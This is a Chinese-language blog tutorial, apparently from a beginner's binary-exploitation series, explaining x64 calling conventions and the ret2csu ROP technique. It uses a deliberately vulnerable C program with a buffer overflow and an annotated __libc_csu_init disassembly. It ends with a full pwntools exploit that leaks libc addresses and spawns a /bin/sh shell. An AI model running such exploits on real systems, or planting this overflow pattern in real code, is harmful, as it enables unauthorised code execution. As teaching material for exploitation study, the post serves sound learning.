再探ROP(上)

0x00 前记

毕设和论文要搞吐了,再加上实习驻场事情,近期又要开始准备HW的事情,只能先更新一部分。

0x01 从x86到x64

之前的rop都是32bit的程序,由于这篇文章涉及的方法用于64bit的程序,这里先说一下两者的区别,做一下过渡。
首先是寄存器传参和堆栈传参的区别,这里以一个例子说明

在这里插入图片描述

在32bit的程序中,如上图所示,在函数调用前,参数会被依次入栈;然而再64bit的同一个程序中,如下图所示,在函数调用前,参数会被放入寄存器中。两者进入函数后都会依照相应的规则去调用对应的参数,这里说一下x64寄存器使用的顺序:分别用rdi,rsi,rdx,rcx,r8,r9作为第1-6个参数。(如果参数过多会被放在栈中)

在这里插入图片描述

再提一个小点,虽然价值不大,对于我这种初学者来说更加深了理解,继续看

在这里插入图片描述
在这里插入图片描述

来看read函数,可以发现刚才说的一样,传参一个是栈,一个寄存器。无论是哪种方式,buf参数最终都会读到栈里面,不一样的只不过是buf的中间传递介质。
其它的区别这里就不再展开细说,如果感兴趣详细了解请见https://blog.csdn.net/qq_29343201/article/details/51278798

0x02 ret2csu

经过一番知识铺垫,那么现在开始进入正题
使用蒸米师傅的例子

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

我们先分析一下再去验证
题目的前提:
1、X64程序,寄存器传参
2、程序中找不到system()等可利用函数和"/bin/sh"类似的字符串
3、使用ROPgadget无法找到可利用的片段,具体可以见初探ROP 中的ret2syscall章节

按照以往(上一篇文章)的手法,针对于前提2,我们使用ret2libc进行绕过,具体详见初探ROP 中的ret2libc章节的第三种情况,但是忽略了一点X64是寄存器传参,那么system()或者execve()函数的参数在寄存器保存着,那么怎么给寄存器赋予响应的值呢?很简单,类似ret2syscall手法,进行一系列出栈操作即可(达到mov的目的),但是前提3导致我们搜索不到可利用的片段,似乎山穷水尽了,那么我们怎么办呢?
这个时候就应该寻找新的利用手法,也就是ret2csu,其实就是利用<__libc_csu_init>,ta是在libc.so里面,一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作,可以说是通用gadgets。
来看一下这个神秘的函数

0000000000000760 <__libc_csu_init>:
 760:	41 57                	push   %r15
 762:	41 56                	push   %r14
 764:	41 89 ff             	mov    %edi,%r15d
 767:	41 55                	push   %r13
 769:	41 54                	push   %r12
 76b:	4c 8d 25 56 06 20 00 	lea    0x200656(%rip),%r12     
 772:	55                   	push   %rbp
 773:	48 8d 2d 56 06 20 00 	lea    0x200656(%rip),%rbp   
 77a:	53                   	push   %rbx
 77b:	49 89 f6             	mov    %rsi,%r14
 77e:	49 89 d5             	mov    %rdx,%r13
 781:	4c 29 e5             	sub    %r12,%rbp
 784:	48 83 ec 08          	sub    $0x8,%rsp
 788:	48 c1 fd 03          	sar    $0x3,%rbp
 78c:	e8 e7 fd ff ff       	callq  578 <_init>
 791:	48 85 ed             	test   %rbp,%rbp
 794:	74 20                	je     7b6 <__libc_csu_init+0x56>
 796:	31 db                	xor    %ebx,%ebx
 798:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
 79f:	00 
 7a0:	4c 89 ea             	mov    %r13,%rdx
 7a3:	4c 89 f6             	mov    %r14,%rsi
 7a6:	44 89 ff             	mov    %r15d,%edi
 7a9:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
 7ad:	48 83 c3 01          	add    $0x1,%rbx
 7b1:	48 39 dd             	cmp    %rbx,%rbp
 7b4:	75 ea                	jne    7a0 <__libc_csu_init+0x40>
 7b6:	48 83 c4 08          	add    $0x8,%rsp
 7ba:	5b                   	pop    %rbx
 7bb:	5d                   	pop    %rbp
 7bc:	41 5c                	pop    %r12
 7be:	41 5d                	pop    %r13
 7c0:	41 5e                	pop    %r14
 7c2:	41 5f                	pop    %r15
 7c4:	c3                   	retq   
 7c5:	90                   	nop
 7c6:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
 7cd:	00 00 00 

刚才巴拉巴拉了不少,这里还是得先明确一下我们使用<__libc_csu_init>的目的:
由于寄存器传参的特性,我们需要把相应的参数值保存到相应寄存器中供后续函数进行调用,寄存器存参数的顺序为:rdi,rsi,rdx,rcx,r8,r9,所以我们使用此函数的片段来达到控制寄存器得目的。
继续看此神秘函数,能改变上述寄存器的值是这几处,如下图所示:

在这里插入图片描述

既然有了可以控制点,那么就想办法怎么去利用?简单画一下流程,能够更好理解是怎么利用。

在这里插入图片描述

能够通过栈溢出得直接控制点就是几个出栈得地方,可以发现通过这几条指令可以完美的控制寄存器得值,然后通过后续程序可以间接控制参数寄存器得值。
因为gadgets一般选择ret结尾得片段,这样可以达到控制程序执行的目的。这里只要将堆栈中h中值填为0x7a0,即可继续执行下一段gadgets,通过mov指令间接控制了rsi,rdx、rdi寄存器
继续往下看

在这里插入图片描述

刚才通过控制控制rip的值使得程序从mov %r13 %rdx处继续执行,在②处对两个参数寄存器进行了传值,然后进行调用函数,由于callq指令的性质,此函数的地址根据*(%r12,%rbx,8)的值来寻找,也就是找到X的地方进行执行,之后两次ret进行控制rip寄存器,也就是继续掌控程序执行的下条指令的位置所在。
通过以上分析,可以发现此ROP链能够完成一个强大的功能,那就是可以完成一个函数的调用。
根据上一篇文章所提到的ret2libc的第三种利用方式,可以通过write或者put等一系列打印性质的函数读出某个函数的got表内容,从而确定libc中system或者execve等执行性质函数的位置所在,进而达到getshell的目的。
当然这只是理想情况,为什么这么说呢?
回到<__libc_csu_init>中

在这里插入图片描述

两个gadgets之间还有一个jne条状,也就是说如果ZF=1(%rbx==%rbp),那么就不会跳转,按照我们刚才设计的顺序去执行。所以我们再刚才的基础上再去控制一下ZF=1即可。简单陈列一下条件:
一、r13和r12寄存器中需要从栈中读到所需要参数的位置,进而可以控制rdx和rsi寄存器的值
二、让rbx的值为0(当然也可以不为0,只是这样构造函数的地址方便),那么*(%r12,%rbx,8)就成了*%r12,只需要让r12寄存器从栈中读到所需要函数的地址即可。
三、为了让ZF=1,也就是rbp和rbx寄存器的值相等,既然rbx已经为0了,通过add指令到达cmp比较时它为1,因此rbp也需要为1,让rbx寄存器从栈中读取1即可。
以上三个条件完成后,此ROP链配合上栈溢出漏洞就可以轻松地完成某一函数地调用过程了。

其实明白了ret2csu地原理,上述地例子地做法就很灵活了,我们再来分析:
一、存在栈溢出漏洞
二、可以一条完成任意函数功能的ROP链
三、条件二完成,我们依然可以控制程序的执行
有了这三个条件,做法的灵活性就体现出来,比如可以执行完write函数泄露write的GOT表地址后再去执行main()或者_start函数继续构造栈中内容执行execve达到getshell的目的。

这里使用上述方法,基础内容不再赘述,详细可以见上一篇文章(初探ROP)来了解。
通过gdb调试可以计算出偏移是0x80+0x8

在这里插入图片描述

这里有一点还是盲区:callq *(%r12,%rbx,8)这一指令是间接调用函数,类似于它访问是一个指针,一个指向真实目的的指针。因为后续需要调用execve函数,但是我们需要提供指向其地址的指针的地址,所以用bss段的空间进行保存,如下图所示,确定堆栈上的构造

在这里插入图片描述

根据以上构造给出exp(个人不习惯用LibcSearcher)

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
libc = level5.libc

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x4005e0
csu_end_addr = 0x4005fa
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
print hex(write_addr)
libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols['execve']
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\0')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

0x03 尾记

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。
另见: http://bey0nd.xyz/2020/04/07/1/

发布了11 篇原创文章 · 获赞 95 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_41185953/article/details/105364797